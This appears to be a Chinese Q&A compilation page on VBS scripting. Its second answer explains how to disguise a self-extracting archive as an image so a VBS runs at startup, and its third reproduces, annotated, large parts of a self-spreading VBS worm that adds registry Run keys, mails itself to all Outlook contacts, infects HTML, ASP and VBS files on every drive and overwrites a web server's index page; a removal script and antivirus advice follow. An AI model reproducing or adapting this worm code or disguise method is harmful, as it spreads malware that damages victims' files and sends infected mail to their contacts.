‘壹’ 关于一个能自动运行某个程序的VBS脚本
dim fso,oshell,path1
path1 = "g:\share\jw\run.exe"
set oshell = wscript.createobject ("wscript.shell")
set fso = createobject("scripting.filesystemobject")
if (fso.fileexists(path1)) then
oshell.run path1
oshell.run "cmd /k rarp.BAT" '把这句加上就行了
else
end if
‘贰’ 如何让电脑自动运行VBS脚本
电脑自动运行接受的文件是不太可能的,除非有人破解电脑植入木马
可以制作一个自解压的RAR文件(后缀为.exe),然后压缩成.rar文件,把自解压文件的图标伪装成影像或者图片的图标,当然自解压文件里也要包含一个和图标相关的文件
比如使用.jpg的图标,然后在压缩包内放一张YY图,还有你的VBS文件,然后再用一个Bat文件将VBS加入自启动项,最后全部打包成自解压文件
关于只开机自动运行3,之后失效的方法为,使用一个bat文件,每次开机的时候自动运行你的VBS文件,然后还往一个特定的文本文档之追加一个字符,比如5.每次开机追加一个,当开机三次后,特定的文本文档的内容就会变成555,然后再在bat的头部写一个判断,当X.txt的内容=555的时候,自动删除自身即可。
‘叁’ 求一些vbs病毒的脚本
要学习 VBS,具有一些VB的基础知识就够了。
这个病毒的主要攻击方法是:通过网络及邮件进行传播,并且不断地向目标邮件服
务器发送大量邮件,并且在传染过程中检测网络主机的名称中是否有目标字符,如
果有则进行破坏攻击。
下面将结合具体的程序逐步进行介绍,由于篇幅关系,对一些语句进行了缩减。
'@ thank you! make use of other person to get rid of an enemy, white trap _2001
''开场白,第一个字符“@”是这个病毒传染时的标记
on error resume next ''这一句很重要,主要是在程序执行时如果发生错误就接着
''执行下一条语句,防止谈出出错对话框,否则就不能偷偷
''的干坏事啦。这里有一个技巧,就是在程序编制调试阶段,
''最好不要这一条语句,因为它会忽略错误,使你的调试工
''作不易完成。
dim vbscr, fso,w1,w2,MSWKEY,HCUW,Code_Str, Vbs_Str, Js_Str
dim defpath, smailc, MAX_SIZE, whb(), title(10) ''声明各个变量
smailc = 4
Redim whb(smailc)
whb(0) = "[email protected]"
...
whb(3) = "[email protected]"
''以上这四个邮件地址就是被攻击的目标,当然已经进行了修改,不是真实地址
title(0) = "Thanks for helping me!"
...
title(8) = "the sitting is open!"
title(9) = ""
''以上这十条字符串是病毒执行时随机显示在IE标题栏里的信息。如果你的IE标题栏
''显示了其中的某条信息,呵呵,一定要接着往下看
defpath = "C:\Readme.html" ''将随邮件一起发送的病毒体
MAX_SIZE = 100000
MSWKEY = "HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Windows\"
HCUW = "HKEY_CURRENT_USER\Software\Microsoft\WAB\"
''定义两个注册表的键值变量
main ''执行主函数
''下面就是程序中所需的各个函数的定义部分,整个VBS程序将由windows目录中的
''WScript.exe文件解释执行,如果将这个文件改名或删除,当然VBS程序也就不能执行
''了,如此便阻止了病毒的执行。在用杀毒软件杀毒时,往往病毒传播的速度要比杀
''毒的速度快,如果出现这种情况,应该先将WScript.exe文件改名,阻止病毒传播,
''等杀完毒后,再改回来,不致影响其他正常的VBS程序的执行。
sub main()
on error resume next
dim w_s
w_s= WScript.ScriptFullName ''得到此文件名称
if w_s = "" then
Err.Clear
set fso = CreateObject("Scripting.FileSystemObject")
''随着VB编程语言的完善,微软也推出了一种全新的文件操作方法:文件系
''统对象(FileSystemObject)。这个对象,及一些相关对象,封装了所有
''的文件操作。这个病毒程序基本展示了所有的这些操作,因此,如果您要
''利用VBS进行文件操作编程,将这个病毒源码作为参考文档,肯定不错。
if getErr then
Randomize
ra = int(rnd() * 7)
doucment.write title(ra)
ExecuteMail ''打开有毒的页面
else
ExecutePage ''赋值成功,进行传染,攻击
end if
else
ExecuteVbs ''从病毒体文件“system.dll”提取病毒
end if
end sub
Function getErr()
''本函数主要是检测前一条语句是否成功返回了Scripting.FileSystemObject对象,
''内容略
end function
sub ExecutePage()
dim Html_Str,adi,vf,wdf, wdf2,wdf3,wdsf, wdsf2
Vbs_Str = GetScriptCode("vbscript") ''获得此程序的VBScript code
Js_Str = GetJavaScript()
Code_Str = MakeScript(encrypt(Vbs_str),true) ''进行加密处理
Html_Str = MakeHtml(encrypt(Vbs_str), true)
Gf
wdsf = w2 & "Mdm.vbs"
wdsf2 = w1 & "Profile.vbs"
wdf = w2 & "user.dll"
wdf2 = w2 & "Readme.html"
wdf3 = w2 & "system.dll"
set vf = fso.OpenTextFile (wdf, 2, true)
vf.write Vbs_Str
vf.close
''仅用以上三条语句便完成了病毒体文件 "user.dll"的制作,其中对象函数
''OpenTextFile (wdf, 2, true)的三个参数分别是:
''①文件名,②读=1或写=2,③文件不存在时是否创建;
''当前,FileSystemObject对于文本文件的操作有较强的优势,对binary文件
''的操作还有待加强。下面依次生成其他的文件,内容略
Writereg MSWKEY & "CurrentVersion\Run\Mdm", wdsf, ""
Writereg MSWKEY & "CurrentVersion\RunServices\Profile", wdsf2, ""
''将Mdm.vbs,Profile.vbs两个脚本文件加入到启动组当中,随Win启动自动执行
SendMail
Hackpage
if TestUser then
Killhe
else
mk75
end if
set adi = fso.Drives ''所有驱动器对象
for each x in adi ''遍历所有的驱动器
if x.DrivesType = 2 or x.DrivesType = 3 then
call SearchHTML(x & "\")
end if
next
if fso.FileExists(defpath) then fso.DeleteFile defpath
''如果存在"C:\Readme.html" ,就删除它
end sub
sub ExecuteMail()
''此函数制作病毒文件"C:\Readme.html" ,并打开它,
''由这一段程序,可以看出VBS的简洁高效
on error resume next
Vbs_Str = GetScriptCode("vbscript")
Js_Str = GetJavaScript()
Set Stl = CreateObject("Scriptlet.TypeLib")
with Stl
.Reset
.Path = defpath
.Doc = MakeHtml(encrypt(Vbs_str), true)
.Write()
end with
window.open defpath, "trap", "width=1 height=1 menubar=no scrollbars=no toolbar=no"
end sub
sub ExecuteVbs()
on error resume next
dim x, adi, wvbs, ws, vf
set fso = CreateObject("Scripting.FileSystemObject")
set wvbs = CreateObject("WScript.Shell")
Gf
wvbs.RegWrite MSWKEY & "Windows Scripting Host\Setings\Timeout", 0, "REG_DWORD"
set vf = fso.OpenTextFile (w2 & "system.dll", 1)
Code_Str = vf.ReadAll()
vf.close
Hackpage
SendMail
if TestUser then
Killhe
else
mk75
end if
set adi = fso.Drives
for each x in adi
if x.DrivesType = 2 or x.DrivesType = 3 then
call SearchHTML(x & "\")
end if
next
end sub
sub Gf()
w1=fso.GetSpecialFolder(0) & "\" ''获得Windows的路径名,
w2=fso.GetSpecialFolder(1) & "\" ''获得系统文件夹路径名
end sub
function Readreg(key_str)
set tmps = CreateObject("WScript.Shell")
Readreg = tmps.RegRead(key_str)
set tmps = Nothing
end function
function Writereg(key_str, Newvalue, vtype)
''对注册表进行写入操作,读操作类似,可以由此看到vbs的注册表操作非常简单明了。
set tmps = CreateObject("WScript.Shell")
if vtype="" then
tmps.RegWrite key_str, Newvalue
else
tmps.RegWrite key_str, Newvalue, vtype
end if
set tmps = Nothing ''关闭不用的资源,算是病毒的良好行为
end function
function MakeHtml(Sbuffer, iHTML)
''制作html文件的内容
dim ra
Randomize
ra = int(rnd() * 7)
MakeHtml="<" & "HTML><" & "HEAD><" & "TITLE>" & title(ra) & "</" & "TITLE><" & "/HEAD>" & _
"<BO" & "AD>" & vbcrlf & MakeScript(Sbuffer, iHTML) & vbcrlf & _
"<" & "/BOAD><" & "/HTML>"
end Function
function MakeScript(Codestr, iHTML)
''制作病毒的可执行script code
if iHTML then
dim DocuWrite
DocuWrite = "document.write('<'+" & "'SCRIPT Language=JavaScript>\n'+" & _
"jword" & "+'\n</'" & "+'SCRIPT>');"
DocuWrite = DocuWrite & vbcrlf & "document.write('<'+" & "'SCRIPT Language=VBScript>\n'+" & _
"nword" & "+'\n</'" & "+'SCRIPT>');"
MakeScript="<" & "SCRIPT Language=JavaScript>" & vbcrlf & "var jword = " & _
chr(34) & encrypt(Js_Str) & chr(34) & vbcrlf & "var nword = " & _
chr(34) & Codestr & chr(34) & vbcrlf & "nword = unescape(nword);" & vbcrlf & _
"jword = unescape(jword);" & vbcrlf & DocuWrite & vbcrlf & "</" & "SCRIPT>"
else
MakeScript= "<" & "SCRIPT Language=JavaScript>" & Codestr & "</" & "SCRIPT>"
end if
end function
function GetScriptCode(Languages)
''此函数获得运行时的Script code,
''内容略
end function
function GetJavaScript()
GetJavaScript = GetScriptCode("javascript")
end function
function TestUser()
''此函数通过键值检测网络主机是否是攻击目标
''内容略
end function
function mk75()
''检测日期是否符合,如果符合,发控制台命令,使系统瘫痪
end function
function SendMail()
''利用outlook发送携带病毒体的邮件,Microsoft Outlook是可编程桌面信息管理程序,
''outlook可以作为一个自动化服务器(Automation servers),因此很容易实现自动发送
''邮件,从这里也可以看出,先进的东西难免会被反面利用,如果你也想用程序控制发送
''邮件,可以仔细研究下面的代码,
on error resume next
dim wab,ra,j, Oa, arrsm, eins, Eaec, fm, wreg, areg,at
Randomize
at=fso.GetSpecialFolder(1) & "\Readme.html" ''要发送的附件文件
set Oa = CreateObject("Outlook.Application") ''制作outlook对象
set wab = Oa.GetNameSpace("MAPI") ''取得Outlook MAPI名字空间
for j = 1 to wab.AddressLists.Count ''遍历所有联系人
eins = wab.AddressLists(j)
wreg=Readreg (HCUW & eins)
if (wreg="") then wreg = 1
Eaec = eins.AddressEntries.Count ''地址表的Email记录数
if (Eaec > Int(wreg)) then
for x = 1 to Eaec
arrsm = wab.AddressEntries(x)
areg = Readreg(HCUW & arrsm)
''读注册表中的标记,避免重复发送
if (areg = "") then
set fm = wab.CreateItem(0) ''创建新邮件
with fm
ra = int(rnd() * 7)
.Recipients.Add arrsm ''收件人
.Subject = title(ra) ''邮件的标题
.Body = title(ra) ''邮件的正文内容
.Attachments at ''病毒文件作为附件
.Send ''发送邮件
Writereg HCUW & arrsm, 1, "REG_DWORD"
end with
end if
next
end if
Writereg HCUW & eins, Eaec, ""
next
set Oa = Nothing
window.setTimeout "SendMail()", 10000 ''每100秒发送一次
end function
sub SearchHTML(Path)
''这个函数递归搜索所有需感染的文件,如果你想批量处理文件,这是非常典型
''的样例代码
on error resume next
dim pfo, psfo, pf, ps, pfi, ext
if instr(Path, fso.GetSpecialFolder(2)) > 0 then exit sub
''fso.GetSpecialFolder(2)获得临时文件夹路径名,
''fso.GetSpecialFolder(0)获得Windows的路径名,
''fso.GetSpecialFolder(1)获得系统文件夹路径名
set pfo = fso.GetFolder(Path)
set psfo = pfo.SubFolders
for each ps in psfo
SearchHTML(ps.Path)
set pf = ps.Files
for each pfi in pf
ext = LCase(fso.GetExtensionName(pfi.Path))
if instr(ext, "htm") > 0 or ext = "plg" or ext = "asp" then
if Code_Str<>"" then AddHead pfi.Path, pfi, 1
elseif ext= "vbs" then
AddHead pfi.Path,pfi, 2
end if
next
next
end sub
sub Killhe()
''看函数名就知道硬盘又要倒霉啦
end sub
sub Hackpage()
dim fi
H = "C:\InetPut\wwwroot"
if fso.FolderExists(H) then
set fi = fso.GetFile(H & "\index.htm")
AddHead H & "\index.htm",fi,1
end if
end sub
sub AddHead(Path, f, t)
''这个函数负责感染文件,之所以不进行省略,因为在后面编制杀毒程序时要用到这一段。
on error resume next
dim tso, buffer,sr
if f.size > MAX_SIZE then exit sub
set tso = fso.OpenTextFile(Path, 1, true)
buffer = tso.ReadAll()
tso.close
if (t = 1) then
''如果是"htm","plg", "asp" 文件,则在其中加入病毒代码
if UCase(Left(LTrim(buffer), 7)) <> "<SCRIPT" then
set tso = fso.OpenTextFile(Path, 2, true)
tso.Write Code_Str & vbcrlf & buffer
tso.close
end if
else ''否则,用病毒体程序覆盖掉原文件,这个有点损
if mid(buffer, 3, 2) <> "'@" then
tso.close
sr=w2 & "user.dll"
if fso.FileExists(sr) then fso.CopyFile sr, Path
end if
end if
end sub
''以上对病毒源码进行了分析,是不是有所收获,赶快打开纪事本,亲自开发一个vbs
''程序吧,“水能载舟,亦能覆舟”,就编一个清除它的杀毒程序,算是本文的加强练习。
''
''感兴趣的朋友可以看一下笔者根据源程序改编的杀毒程序。
附:
''''''''kill75.vbs''''''''''''
'本程序由源病毒码修改而成
Dim fso, w1, w2, MSWKEY, HCUW
Dim defpath
Dim bdNUM ''记录杀除病毒文件的个数
Const MAX_SIZE = 100000
main
Sub main()
On Error Resume Next
bdNUM=0
defpath = "C:\Readme.html"
MSWKEY = "HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Windows\"
HCUW = "HKEY_CURRENT_USER\Software\Microsoft\WAB\"
Err.Clear
Set fso = CreateObject("Scripting.FileSystemObject")
ExecuteKill
End Sub
Sub ExecuteKill()
On Error Resume Next
Dim adi, vf, wdf, wdf2, wdf3, wdsf, wdsf2
Gf
wdsf = w2 & "Mdm.vbs"
wdsf2 = w1 & "Profile.vbs"
wdf = w2 & "user.dll"
wdf2 = w2 & "Readme.html"
wdf3 = w2 & "system.dll"
If fso.FileExists(wdsf) Then fso.DeleteFile wdsf: bdNUM = bdNUM + 1
If fso.FileExists(wdsf2) Then fso.DeleteFile wdsf2: bdNUM = bdNUM + 1
If fso.FileExists(wdf) Then fso.DeleteFile wdf: bdNUM = bdNUM + 1
If fso.FileExists(wdf2) Then fso.DeleteFile wdf2: bdNUM = bdNUM + 1
If fso.FileExists(wdf3) Then fso.DeleteFile wdf3: bdNUM = bdNUM + 1
If fso.FileExists(w2 & "75.htm") Then fso.DeleteFile w2 & "75.htm": bdNUM = bdNUM + 1
If fso.FileExists(defpath) Then fso.DeleteFile defpath: bdNUM = bdNUM + 1
DeleteReg MSWKEY & "CurrentVersion\Run\Mdm"
DeleteReg MSWKEY & "CurrentVersion\RunServices\Profile"
DeleteReg MSWKEY & "CurrentVersion\Run\75"
Set adi = fso.Drives
For Each x In adi
If x.DrivesType = 2 Or x.DrivesType = 3 Then
Call SearchHTML(x & "\")
End If
Next
End Sub
Sub Gf()
w1 = fso.GetSpecialFolder(0) & "\"
w2 = fso.GetSpecialFolder(1) & "\"
End Sub
Function DeleteReg(key_str)
Set tmps = CreateObject("WScript.Shell")
tmps.RegDelete key_str
Set tmps = Nothing
End Function
Sub SearchHTML(Path)
On Error Resume Next
Dim pfo, psfo, pf, ps, pfi, ext
If InStr(Path, fso.GetSpecialFolder(2)) > 0 Then Exit Sub
Set pfo = fso.GetFolder(Path)
Set psfo = pfo.SubFolders
For Each ps In psfo
SearchHTML (ps.Path)
Set pf = ps.Files
For Each pfi In pf
FileLabel.Caption = pfi
DoEvents
ext = LCase(fso.GetExtensionName(pfi.Path))
If InStr(ext, "htm") > 0 Or ext = "plg" Or ext = "asp" Then
CutHead pfi.Path, pfi, 1
ElseIf ext = "vbs" Then
CutHead pfi.Path, pfi, 2
End If
Next
Next
End Sub
Sub CutHead(Path, f, t)
On Error Resume Next
Dim tso, buffer, sr, wz, fbuf
Set tso = fso.OpenTextFile(Path, 1, True)
buffer = tso.ReadAll()
tso.Close
If (t = 1) Then
If UCase(Left(LTrim(buffer), 7)) = "<SCRIPT" Then
If InStr(1, buffer, "jword") > 0 Then
wz = InStr(1, buffer, "</SCRIPT>")
If wz > 10000 Then
fbuf = Right(buffer, Len(buffer) - wz - 10)
Set tso = fso.OpenTextFile(Path, 2, True)
tso.Write fbuf
tso.Close
bdNUM = bdNUM + 1
DoEvents
End If
End If
End If
Else
If Mid(buffer, 3, 2) = "'@" Then
re = MsgBox("是否想删除:" + Path + ",它可能已经变成了75病毒", vbYesNo)
If (re = vbYes) Then
tso.Delete
bdNUM = bdNUM + 1
DoEvents
End If
End If
End If
End Sub
Function getErr()
If Err.Number <> 0 Then
getErr = True
Err.Clear
Else
getErr = False
End If
End Function
‘肆’ 如何杀vbs脚本病毒
如果是朋友发你文件后!出现这种现象 很可能是恶做剧!
‘伍’ vbs脚本病毒专杀工具
Trojan.DL.VBS.Agent的变种
[编辑本段]
Trojan.DL.VBS.Agent病毒是由于网友访问的网站服务器上被放置了iframe,指向一个发送木马的网站,对我们来说,只要安装了先进的杀毒软件,访问这个网站就会报警,报告发现某某病毒,然后杀除病毒。我们也不用紧张,只要下载安装最新的IE补丁就可以防止被黑。同时再用杀毒软件杀除在缓存中的病毒,清空缓存就可以了。其实主要问题在服务器,它会使所有来访者遇到可能的威胁,这些服务器往往是被黑了。
病毒的危害
[编辑本段]
现在放这些病毒的破坏者只是在网站的主页或conn.asp文件中加入iframe代码,想利用网站,使访问者的浏览器下载他们的恶意代码,然后他们在访问者的机上搞破坏,如偷游戏密码、偷盗QQ号码、盗取网上银行密码等等等。
病毒下载器(trojan.dl.vbs)危害性很大,可以在隐藏在网站文件中,访问该网站的用户都可能被感染病毒,现在该病毒的变种已经达到69种,以下是最新的20种变种,查杀请用瑞星正版杀毒软件:
更多的变种
[编辑本段]
1. 脚本病毒 Trojan.DL.VBS.Agent.a
2. 脚本病毒 Trojan.DL.VBS.Agent.b
3. 脚本病毒 Trojan.DL.VBS.Agent.c
4. 脚本病毒 Trojan.DL.VBS.Agent.cef
5. 脚本病毒 Trojan.DL.VBS.Agent.ceg
6. 脚本病毒 Trojan.DL.VBS.Agent.ceh
7. 普通文件病毒 Trojan.DL.VBS.Agent.cei
8. 脚本病毒 Trojan.DL.VBS.Agent.cej
9. 脚本病毒 Trojan.DL.VBS.Agent.cek
10. 脚本病毒 Trojan.DL.VBS.Agent.cel
11. 脚本病毒 Trojan.DL.VBS.Agent.cem
12. 脚本病毒 Trojan.DL.VBS.Agent.cen
13. 脚本病毒 Trojan.DL.VBS.Agent.ceo
14. 脚本病毒 Trojan.DL.VBS.Agent.cep
15. 脚本病毒 Trojan.DL.VBS.Agent.ceq
16. 脚本病毒 Trojan.DL.VBS.Agent.cer
17. 脚本病毒 Trojan.DL.VBS.Agent.d
18. 脚本病毒 Trojan.DL.VBS.Agent.e
19. 脚本病毒 Trojan.DL.VBS.Agent.f
20. 脚本病毒 Trojan.DL.VBS.Agent.g
册除方法如下
[编辑本段]
手动删除:按照杀软给出病毒对应的文件名和路径;开始--运行--regedit,打开注册表,用光标选取注册表中的“我的电脑”,菜单--编辑 --查找,从头到尾查找这文件的项目,右键--删除,F3继续,直至查完删完,最后再删除硬盘文件;不让删的用IceSword对照位置删除
开始→控制面板→添加或删除程序→分别选中→MMSAssist-winstp→卸载
以下项目每一点分隔代表一个服务
开始→控制面板→性能和维护→管理工具→服务→查找→JMediaService,StdService右击→属性→启动类型→禁止→应用→停止→确定。
重新启动电脑, 开机检测完后, 按 键(可以一直按到启动菜单出来为止), 选择安全模式进入Windows
几种选择
1.下个unlocker小软件,可以将拒绝访问的文件解锁.
(下载安装后,找到感染的文件点右键,第一行)这里同时将住册表中的XXX.EXE类文件删掉
VBS病毒
[编辑本段]
VBS病毒是用VB Script编写而成,该脚本语言功能非常强大,它们利用Windows系统的开放性特点,通过调用一些现成的Windows对象、组件,可以直接对文件系统、注册表等进行控制,功能非常强大。应该说病毒就是一种思想,但是这种思想在用VBS实现时变得极其容易。VBS脚本病毒具有如下几个特点:
编写简单、破坏力大、感染力强、传播范围广、变种多、欺骗性强;可以通过通过Email附件传播;通过局域网共享传播;通过感染htm、asp、jsp、php等网页文件传播;通过IRC聊天通道传播;
相关工具
[编辑本段]
可以使用这些工具进行查杀
auto病毒专杀工具
AVG Anti-Spyware
Windows清理助手
a-squared Free
2.可以使用EWIDO来查杀!
3.开机的时候按F8,进入“安全模式”,在那种模式下删除。也可以在删除之前,关闭所有无用进程(因为这些进程有的就是该文件,有的阻止了删除),再删除
‘陆’ 自动运行程序的vbs脚本怎么写
我不知道,但是看你没人顶,顶你一下!
‘柒’ 这段vbs脚本杀软报毒
跟杀软敏感性有关,有些杀软对于VBS脚本都是提示有风险,你的程序要么很巧合的包含了一段特征码。要么纯粹就是敏感性问题
‘捌’ 用VBS如何判断并杀掉进程和启动程序
可以使用 wmi对象获取进程列表 然后对符合条件的进程进行 close
‘玖’ 怎样用VBS脚本每天定时关闭进程
Set wmiService = GetObject("winmgmts:\\.\root\cimv2")
Set wmiObjects = wmiService.ExecQuery("SELECT * FROM Win32_process where name='wscript.exe'")
eTart = "12:26"
eT = FormatDateTime(eTart,4)
Do
Tims = FormatDateTime(Time,4)
For Each wmiObject In wmiObjects
If Tims =eT then
wmiObject.terminate
End If
Next
loop